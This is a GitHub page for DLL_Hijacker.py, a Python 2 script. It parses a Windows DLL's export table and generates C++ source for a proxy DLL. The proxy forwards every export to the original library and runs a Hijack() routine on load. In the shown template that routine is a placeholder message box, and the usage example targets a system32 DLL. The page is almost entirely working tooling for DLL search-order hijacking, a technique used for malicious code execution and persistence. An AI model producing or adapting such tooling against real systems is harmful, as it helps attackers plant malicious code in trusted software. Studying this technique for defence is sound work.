forked from coca1ne/DLL_Hijacker
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathDLL_Hijacker.py
123 lines (114 loc) · 3.5 KB
/
DLL_Hijacker.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
#coding=utf-8
#
# Dll Hijacker
#
# platform: Python 2.x @ Windows
#
# author:Coca1ne
import os,sys,time
import pefile
def main():
try:
pe = pefile.PE(sys.argv[1])
exportTable = pe.DIRECTORY_ENTRY_EXPORT.symbols
print "[!]Find export function :[ %d ]\r\n" % len(exportTable)
for exptab in exportTable:
print "%3s %10s" % (exptab.ordinal, exptab.name)
print "\r\n[+] generating DLL Hijack cpp file ..."
generate(exportTable)
print "\r\n[+] generating DLL Hijack cpp file has finished!"
except Exception, e:
print e
def generate(exportTable):
segments = r"//Generate by DLLHijacker.py\
\
#include <Windows.h>\
\
DEFINE_DLL_EXPORT_FUNC\
#define EXTERNC extern \"C\"\
#define NAKED __declspec(naked)\
#define EXPORT __declspec(dllexport)\
#define ALCPP EXPORT NAKED\
#define ALSTD EXTERNC EXPORT NAKED void __stdcall\
#define ALCFAST EXTERNC EXPORT NAKED void __fastcall\
#define ALCDECL EXTERNC NAKED void __cdecl\
\
namespace DLLHijacker\
{\
HMODULE m_hModule = NULL;\
DWORD m_dwReturn[17] = {0};\
inline BOOL WINAPI Load()\
{\
TCHAR tzPath[MAX_PATH];\
lstrcpy(tzPath, TEXT(\"DLL_FILENAME.dll\"));\
m_hModule = LoadLibrary(tzPath);\
if (m_hModule == NULL)\
return FALSE;\
return (m_hModule != NULL);\
}\
inline VOID WINAPI Free()\
{\
if (m_hModule)\
FreeLibrary(m_hModule);\
}\
FARPROC WINAPI GetAddress(PCSTR pszProcName)\
{\
FARPROC fpAddress;\
CHAR szProcName[16];\
fpAddress = GetProcAddress(m_hModule, pszProcName);\
if (fpAddress == NULL)\
{\
if (HIWORD(pszProcName) == 0)\
{\
wsprintf(szProcName, \"%d\", pszProcName);\
pszProcName = szProcName;\
}\
ExitProcess(-2);\
}\
return fpAddress;\
}\
}\
using namespace DLLHijacker;\
VOID Hijack()\
{\
MessageBoxW(NULL, L\"DLL Hijack! by DLLHijacker\", L\":)\", 0);\
}\
BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)\
{\
if (dwReason == DLL_PROCESS_ATTACH)\
{\
DisableThreadLibraryCalls(hModule);\
if(Load())\
Hijack();\
}\
else if (dwReason == DLL_PROCESS_DETACH)\
{\
Free();\
}\
return TRUE;\
}\
"
filename = sys.argv[1][sys.argv[1].rindex('\\')+1:sys.argv[1].rindex('.')]
fp = open(filename + ".cpp", "w+")
define_dll_exp_func = ""
for exptable in exportTable:
define_dll_exp_func += r"#pragma comment(linker, \"/EXPORT:" + str(exptable.name) +\
"=_DLLHijacker_" + str(exptable.name) + ",@"+ str(exptable.ordinal) +"\")\n"
segments = segments.replace('DLL_FILENAME', filename)
segments = segments.replace("DEFINE_DLL_EXPORT_FUNC", define_dll_exp_func).replace('\\','')
fp.writelines(segments)
forward_dll_exp_func = ""
for exptable in exportTable:
forward_dll_exp_func += "ALCDECL DLLHijacker_"+ str(exptable.name) +"(void)\n{" + \
"\n __asm POP m_dwReturn[0 * TYPE long];\n GetAddress(\""+ \
str(exptable.name) + "\")();\n __asm JMP m_dwReturn[0 * TYPE long];\n}\r\n"
fp.writelines(forward_dll_exp_func)
fp.close()
def usage():
print "Usage:"
print " %s c:\\windows\\system32\\msimg32.dll" % sys.argv[0]
if __name__ == "__main__":
if(len(sys.argv) <2):
usage()
else:
main()